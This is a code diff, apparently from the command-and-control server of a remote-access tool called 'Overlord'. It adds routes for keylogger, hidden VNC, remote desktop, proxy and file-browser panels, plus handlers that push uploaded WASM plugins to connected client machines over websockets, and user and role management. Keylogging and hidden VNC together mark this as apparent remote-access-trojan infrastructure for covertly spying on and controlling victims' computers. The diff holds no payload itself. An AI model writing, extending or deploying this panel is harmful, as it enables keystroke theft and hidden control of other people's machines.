||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/);
|
||||
if (req.method === "GET" && processesPageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/);
|
||||
if (req.method === "GET" && keyloggerPageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/);
|
||||
if (req.method === "GET" && proxyPageMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/scripts") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/deploy") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,465 @@
|
||||
import fs from "fs/promises";
|
||||
import path from "path";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { authenticateRequest } from "../../auth";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { metrics } from "../../metrics";
|
||||
import { encodeMessage } from "../../protocol";
|
||||
|
||||
type PluginManifest = {
|
||||
id: string;
|
||||
name: string;
|
||||
};
|
||||
|
||||
type PluginBundle = {
|
||||
manifest: PluginManifest;
|
||||
wasm: Uint8Array;
|
||||
};
|
||||
|
||||
type PluginState = {
|
||||
enabled: Record<string, boolean>;
|
||||
lastError: Record<string, string>;
|
||||
};
|
||||
|
||||
type PluginRouteDeps = {
|
||||
PLUGIN_ROOT: string;
|
||||
pluginState: PluginState;
|
||||
pluginLoadedByClient: Map<string, Set<string>>;
|
||||
pluginLoadingByClient: Map<string, Set<string>>;
|
||||
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
|
||||
sanitizePluginId: (name: string) => string;
|
||||
ensurePluginExtracted: (pluginId: string) => Promise<void>;
|
||||
savePluginState: () => Promise<void>;
|
||||
listPluginManifests: () => Promise<PluginManifest[]>;
|
||||
loadPluginBundle: (pluginId: string) => Promise<PluginBundle>;
|
||||
sendPluginBundle: (target: any, bundle: PluginBundle) => void;
|
||||
markPluginLoading: (clientId: string, pluginId: string) => void;
|
||||
isPluginLoaded: (clientId: string, pluginId: string) => boolean;
|
||||
isPluginLoading: (clientId: string, pluginId: string) => boolean;
|
||||
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
|
||||
secureHeaders: (contentType?: string) => Record<string, string>;
|
||||
securePluginHeaders: () => Record<string, string>;
|
||||
mimeType: (path: string) => string;
|
||||
};
|
||||
|
||||
export async function handlePluginRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
deps: PluginRouteDeps,
|
||||
): Promise<Response | null> {
|
||||
if (
|
||||
!url.pathname.startsWith("/api/plugins") &&
|
||||
!url.pathname.startsWith("/plugins/") &&
|
||||
!url.pathname.match(/^\/api\/clients\/.+\/plugins/)
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/plugins") {
|
||||
if (!(await authenticateRequest(req))) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
const plugins = await deps.listPluginManifests();
|
||||
const enriched = plugins.map((p) => ({
|
||||
...p,
|
||||
enabled: deps.pluginState.enabled[p.id] !== false,
|
||||
lastError: deps.pluginState.lastError[p.id] || "",
|
||||
}));
|
||||
return Response.json({ plugins: enriched });
|
||||
}
|
||||
|
||||
const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/);
|
||||
if (req.method === "GET" && clientPluginsMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const clientId = clientPluginsMatch[1];
|
||||
const loaded = deps.pluginLoadedByClient.get(clientId) || new Set<string>();
|
||||
const manifests = await deps.listPluginManifests();
|
||||
const plugins = manifests.map((manifest) => ({
|
||||
id: manifest.id,
|
||||
name: manifest.name || manifest.id,
|
||||
loaded: loaded.has(manifest.id),
|
||||
enabled: deps.pluginState.enabled[manifest.id] !== false,
|
||||
lastError: deps.pluginState.lastError[manifest.id] || "",
|
||||
}));
|
||||
return Response.json({ plugins });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/plugins/upload") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
let form: FormData;
|
||||
try {
|
||||
form = await req.formData();
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const file = form.get("file");
|
||||
if (!(file instanceof File)) {
|
||||
return new Response("Missing file", { status: 400 });
|
||||
}
|
||||
|
||||
const filename = file.name || "plugin.zip";
|
||||
if (!filename.toLowerCase().endsWith(".zip")) {
|
||||
return new Response("Only .zip files are supported", { status: 400 });
|
||||
}
|
||||
|
||||
const base = path.basename(filename, path.extname(filename));
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(base);
|
||||
} catch {
|
||||
return new Response("Invalid plugin name", { status: 400 });
|
||||
}
|
||||
|
||||
await fs.mkdir(deps.PLUGIN_ROOT, { recursive: true });
|
||||
const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
|
||||
const data = new Uint8Array(await file.arrayBuffer());
|
||||
await fs.writeFile(zipPath, data);
|
||||
|
||||
try {
|
||||
await deps.ensurePluginExtracted(pluginId);
|
||||
} catch (err) {
|
||||
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
|
||||
}
|
||||
|
||||
if (deps.pluginState.enabled[pluginId] === undefined) {
|
||||
deps.pluginState.enabled[pluginId] = true;
|
||||
await deps.savePluginState();
|
||||
}
|
||||
|
||||
return Response.json({ ok: true, id: pluginId });
|
||||
}
|
||||
|
||||
const pluginEnableMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/enable$/);
|
||||
if (req.method === "POST" && pluginEnableMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginEnableMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {}
|
||||
const enabled = !!body.enabled;
|
||||
deps.pluginState.enabled[pluginId] = enabled;
|
||||
await deps.savePluginState();
|
||||
return Response.json({ ok: true, id: pluginId, enabled });
|
||||
}
|
||||
|
||||
const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/);
|
||||
if (req.method === "DELETE" && pluginDeleteMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
if (user.role !== "admin" && user.role !== "operator") {
|
||||
return new Response("Forbidden: Admin or operator access required", { status: 403 });
|
||||
}
|
||||
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginDeleteMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
|
||||
const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
|
||||
const pluginDir = path.join(deps.PLUGIN_ROOT, pluginId);
|
||||
|
||||
try {
|
||||
await fs.rm(zipPath, { force: true });
|
||||
} catch {}
|
||||
|
||||
try {
|
||||
await fs.rm(pluginDir, { recursive: true, force: true });
|
||||
} catch {}
|
||||
|
||||
deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId));
|
||||
deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId));
|
||||
delete deps.pluginState.enabled[pluginId];
|
||||
delete deps.pluginState.lastError[pluginId];
|
||||
await deps.savePluginState();
|
||||
|
||||
return Response.json({ ok: true, id: pluginId });
|
||||
}
|
||||
|
||||
const pluginLoadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/load$/);
|
||||
if (req.method === "POST" && pluginLoadMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
const targetId = pluginLoadMatch[1];
|
||||
const pluginId = pluginLoadMatch[2];
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
if (deps.isPluginLoaded(targetId, pluginId)) {
|
||||
return Response.json({ ok: true, alreadyLoaded: true });
|
||||
}
|
||||
if (deps.isPluginLoading(targetId, pluginId)) {
|
||||
return Response.json({ ok: true, loading: true });
|
||||
}
|
||||
try {
|
||||
const bundle = await deps.loadPluginBundle(pluginId);
|
||||
deps.markPluginLoading(targetId, pluginId);
|
||||
deps.sendPluginBundle(target, bundle);
|
||||
metrics.recordCommand("plugin_load");
|
||||
return Response.json({ ok: true });
|
||||
} catch (err) {
|
||||
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
|
||||
}
|
||||
}
|
||||
|
||||
const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/);
|
||||
if (req.method === "POST" && pluginEventMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = pluginEventMatch[1];
|
||||
const pluginId = pluginEventMatch[2];
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
if (deps.pluginState.enabled[pluginId] === false) {
|
||||
return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 });
|
||||
}
|
||||
|
||||
let body: any = {};
|
||||
try {
|
||||
body = await req.json();
|
||||
} catch {
|
||||
body = {};
|
||||
}
|
||||
const event = typeof body.event === "string" ? body.event : "";
|
||||
const payload = body.payload;
|
||||
if (!event) {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
if (!deps.isPluginLoaded(targetId, pluginId)) {
|
||||
deps.enqueuePluginEvent(targetId, pluginId, event, payload);
|
||||
if (!deps.isPluginLoading(targetId, pluginId)) {
|
||||
try {
|
||||
const bundle = await deps.loadPluginBundle(pluginId);
|
||||
deps.markPluginLoading(targetId, pluginId);
|
||||
deps.sendPluginBundle(target, bundle);
|
||||
metrics.recordCommand("plugin_load");
|
||||
} catch (err) {
|
||||
return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
|
||||
}
|
||||
}
|
||||
metrics.recordCommand("plugin_event");
|
||||
return Response.json({ ok: true, queued: true });
|
||||
}
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "plugin_event",
|
||||
pluginId,
|
||||
event,
|
||||
payload,
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("plugin_event");
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
const pluginUnloadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/unload$/);
|
||||
if (req.method === "POST" && pluginUnloadMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) return new Response("Unauthorized", { status: 401 });
|
||||
try {
|
||||
requirePermission(user, "clients:control");
|
||||
} catch (error) {
|
||||
if (error instanceof Response) return error;
|
||||
return new Response("Forbidden", { status: 403 });
|
||||
}
|
||||
|
||||
const targetId = pluginUnloadMatch[1];
|
||||
const pluginId = pluginUnloadMatch[2];
|
||||
const target = clientManager.getClient(targetId);
|
||||
if (!target) return new Response("Not found", { status: 404 });
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "plugin_unload",
|
||||
id: uuidv4(),
|
||||
payload: { pluginId },
|
||||
}),
|
||||
);
|
||||
|
||||
deps.pluginLoadedByClient.get(targetId)?.delete(pluginId);
|
||||
deps.pluginLoadingByClient.get(targetId)?.delete(pluginId);
|
||||
deps.pendingPluginEvents.delete(`${targetId}:${pluginId}`);
|
||||
|
||||
return Response.json({ ok: true, id: pluginId });
|
||||
}
|
||||
|
||||
const pluginFrameMatch = url.pathname.match(/^\/plugins\/([^/]+)\/frame$/);
|
||||
if (req.method === "GET" && pluginFrameMatch) {
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginFrameMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
|
||||
const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
|
||||
const file = Bun.file(htmlFile);
|
||||
if (!(await file.exists())) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const raw = await file.text();
|
||||
const baseTag = `<base href="/plugins/${pluginId}/assets/" />`;
|
||||
const bridgeTag = `<script src="/assets/plugin-bridge.js"></script>`;
|
||||
let injected = raw;
|
||||
|
||||
const headMatch = raw.match(/<head[^>]*>/i);
|
||||
if (headMatch) {
|
||||
injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
|
||||
}
|
||||
|
||||
if (injected.includes("</head>")) {
|
||||
injected = injected.replace("</head>", ` ${bridgeTag}\n </head>`);
|
||||
} else if (injected.includes("</body>")) {
|
||||
injected = injected.replace("</body>", ` ${bridgeTag}\n</body>`);
|
||||
} else {
|
||||
injected = `${bridgeTag}\n${injected}`;
|
||||
}
|
||||
|
||||
return new Response(injected, {
|
||||
headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" },
|
||||
});
|
||||
}
|
||||
|
||||
const pluginPageMatch = url.pathname.match(/^\/plugins\/([^/]+)$/);
|
||||
if (req.method === "GET" && pluginPageMatch) {
|
||||
let pluginId = "";
|
||||
try {
|
||||
pluginId = deps.sanitizePluginId(pluginPageMatch[1]);
|
||||
} catch {
|
||||
return new Response("Invalid plugin id", { status: 400 });
|
||||
}
|
||||
|
||||
const clientId = url.searchParams.get("clientId") || "";
|
||||
const bridgeToken = uuidv4();
|
||||
const origin = url.origin;
|
||||
const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`;
|
||||
|
||||
const html = `<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>${pluginId} - Overlord Plugin</title>
|
||||
<link rel="preconnect" href="https://fonts.googleapis.com" />
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin />
|
||||
<link
|
||||
href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap"
|
||||
rel="stylesheet"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
<main class="px-5 py-6">
|
||||
<div class="max-w-6xl mx-auto">
|
||||
<div class="rounded-2xl border border-slate-800 bg-slate-900/50 overflow-hidden">
|
||||
<iframe
|
||||
id="plugin-frame"
|
||||
src="${iframeSrc}"
|
||||
sandbox="allow-scripts"
|
||||
class="w-full h-[calc(100vh-220px)] bg-slate-950"
|
||||
></iframe>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
<div
|
||||
id="plugin-host"
|
||||
data-bridge-token="${bridgeToken}"
|
||||
></div>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script src="/assets/plugin-host.js"></script>
|
||||
</body>
|
||||
</html>`;
|
||||
|
||||
return new Response(html, { headers: deps.secureHeaders("text/html; charset=utf-8") });
|
||||
}
|
||||
|
||||
const pluginAssetMatch = url.pathname.match(/^\/plugins\/([^/]+)\/assets\/(.+)$/);
|
||||
if (req.method === "GET" && pluginAssetMatch) {
|
||||
const [, pluginId, assetPath] = pluginAssetMatch;
|
||||
let decodedPath = assetPath;
|
||||
try {
|
||||
decodedPath = decodeURIComponent(assetPath);
|
||||
} catch {
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
if (decodedPath.includes("\u0000") || path.isAbsolute(decodedPath)) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const assetsRoot = path.join(deps.PLUGIN_ROOT, pluginId, "assets");
|
||||
const normalized = decodedPath.replace(/\\/g, "/");
|
||||
const resolvedPath = path.resolve(assetsRoot, normalized);
|
||||
const rootWithSep = assetsRoot.endsWith(path.sep) ? assetsRoot : `${assetsRoot}${path.sep}`;
|
||||
|
||||
if (!resolvedPath.startsWith(rootWithSep)) {
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const file = Bun.file(resolvedPath);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType(assetPath)) });
|
||||
}
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,207 @@
|
||||
import { generateToken, authenticateRequest } from "../../auth";
|
||||
import { AuditAction, logAudit } from "../../auditLog";
|
||||
import { logger } from "../../logger";
|
||||
import { requirePermission } from "../../rbac";
|
||||
import {
|
||||
createUser,
|
||||
deleteUser,
|
||||
getUserById,
|
||||
listUsers,
|
||||
updateUserPassword,
|
||||
updateUserRole,
|
||||
} from "../../users";
|
||||
|
||||
type RequestIpProvider = {
|
||||
requestIP: (req: Request) => { address?: string } | null | undefined;
|
||||
};
|
||||
|
||||
export async function handleUsersRoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
server: RequestIpProvider,
|
||||
): Promise<Response | null> {
|
||||
if (!url.pathname.startsWith("/api/users")) {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
const user = await authenticateRequest(req);
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/users") {
|
||||
requirePermission(user, "users:manage");
|
||||
const users = listUsers();
|
||||
return Response.json({ users });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/users") {
|
||||
const authedUser = requirePermission(user, "users:manage");
|
||||
const body = await req.json();
|
||||
const { username, password, role } = body;
|
||||
|
||||
if (!username || !password || !role) {
|
||||
return Response.json({ error: "Missing required fields" }, { status: 400 });
|
||||
}
|
||||
|
||||
if (!["admin", "operator", "viewer"].includes(role)) {
|
||||
return Response.json({ error: "Invalid role" }, { status: 400 });
|
||||
}
|
||||
|
||||
const result = await createUser(username, password, role, authedUser.username);
|
||||
|
||||
if (result.success) {
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: authedUser.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Created user: ${username} (${role})`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true, userId: result.userId });
|
||||
}
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/password$/)) {
|
||||
const userId = parseInt(url.pathname.split("/")[3]);
|
||||
const body = await req.json();
|
||||
const { password, newPassword, currentPassword } = body;
|
||||
|
||||
const canChange = user.userId === userId || user.role === "admin";
|
||||
|
||||
if (!canChange) {
|
||||
return Response.json({ error: "Permission denied" }, { status: 403 });
|
||||
}
|
||||
|
||||
if (user.userId === userId && currentPassword) {
|
||||
const targetUser = getUserById(userId);
|
||||
if (!targetUser) {
|
||||
return Response.json({ error: "User not found" }, { status: 404 });
|
||||
}
|
||||
|
||||
const isValid = await Bun.password.verify(
|
||||
currentPassword,
|
||||
targetUser.password_hash,
|
||||
);
|
||||
if (!isValid) {
|
||||
return Response.json(
|
||||
{ error: "Current password is incorrect" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const finalPassword = newPassword || password;
|
||||
if (!finalPassword) {
|
||||
return Response.json({ error: "Password required" }, { status: 400 });
|
||||
}
|
||||
|
||||
const result = await updateUserPassword(userId, finalPassword);
|
||||
|
||||
if (result.success) {
|
||||
const targetUser = getUserById(userId);
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Updated password for user: ${targetUser?.username}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
if (user.userId === userId && targetUser) {
|
||||
const newToken = await generateToken(targetUser);
|
||||
return new Response(
|
||||
JSON.stringify({
|
||||
success: true,
|
||||
token: newToken,
|
||||
}),
|
||||
{
|
||||
headers: {
|
||||
"Content-Type": "application/json",
|
||||
"Set-Cookie": `overlord_token=${newToken}; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800`,
|
||||
},
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
if (req.method === "PUT" && url.pathname.match(/^\/api\/users\/\d+\/role$/)) {
|
||||
const authedUser = requirePermission(user, "users:manage");
|
||||
const userId = parseInt(url.pathname.split("/")[3]);
|
||||
const body = await req.json();
|
||||
const { role } = body;
|
||||
|
||||
if (!role || !["admin", "operator", "viewer"].includes(role)) {
|
||||
return Response.json({ error: "Invalid role" }, { status: 400 });
|
||||
}
|
||||
|
||||
if (userId === authedUser.userId) {
|
||||
return Response.json({ error: "Cannot change your own role" }, { status: 400 });
|
||||
}
|
||||
|
||||
const result = updateUserRole(userId, role);
|
||||
|
||||
if (result.success) {
|
||||
const targetUser = getUserById(userId);
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: authedUser.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Updated role for user: ${targetUser?.username} to ${role}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
if (req.method === "DELETE" && url.pathname.match(/^\/api\/users\/\d+$/)) {
|
||||
const authedUser = requirePermission(user, "users:manage");
|
||||
const userId = parseInt(url.pathname.split("/")[3]);
|
||||
|
||||
if (userId === authedUser.userId) {
|
||||
return Response.json(
|
||||
{ error: "Cannot delete your own account" },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
|
||||
const targetUser = getUserById(userId);
|
||||
const result = deleteUser(userId);
|
||||
|
||||
if (result.success) {
|
||||
const ip = server.requestIP(req)?.address || "unknown";
|
||||
logAudit({
|
||||
timestamp: Date.now(),
|
||||
username: authedUser.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Deleted user: ${targetUser?.username}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
return Response.json({ success: true });
|
||||
}
|
||||
return Response.json({ error: result.error }, { status: 400 });
|
||||
}
|
||||
|
||||
return new Response("Not found", { status: 404 });
|
||||
} catch (error) {
|
||||
if (error instanceof Response) {
|
||||
return error;
|
||||
}
|
||||
logger.error("[users] API error:", error);
|
||||
return Response.json({ error: "Internal server error" }, { status: 500 });
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,385 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import { logAudit, AuditAction } from "../../auditLog";
|
||||
import * as clientManager from "../../clientManager";
|
||||
import { clientExists, setOnlineState, upsertClientRow } from "../../db";
|
||||
import { logger } from "../../logger";
|
||||
import { metrics } from "../../metrics";
|
||||
import { decodeMessage, encodeMessage, type WireMessage } from "../../protocol";
|
||||
import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
|
||||
type PendingScript = {
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
|
||||
};
|
||||
|
||||
type WsLifecycleDeps = {
|
||||
maxClientPayloadBytes: number;
|
||||
maxViewerPayloadBytes: number;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||
handleConsoleViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleRemoteDesktopViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleHVNCViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleFileBrowserViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleHVNCViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleFileBrowserViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
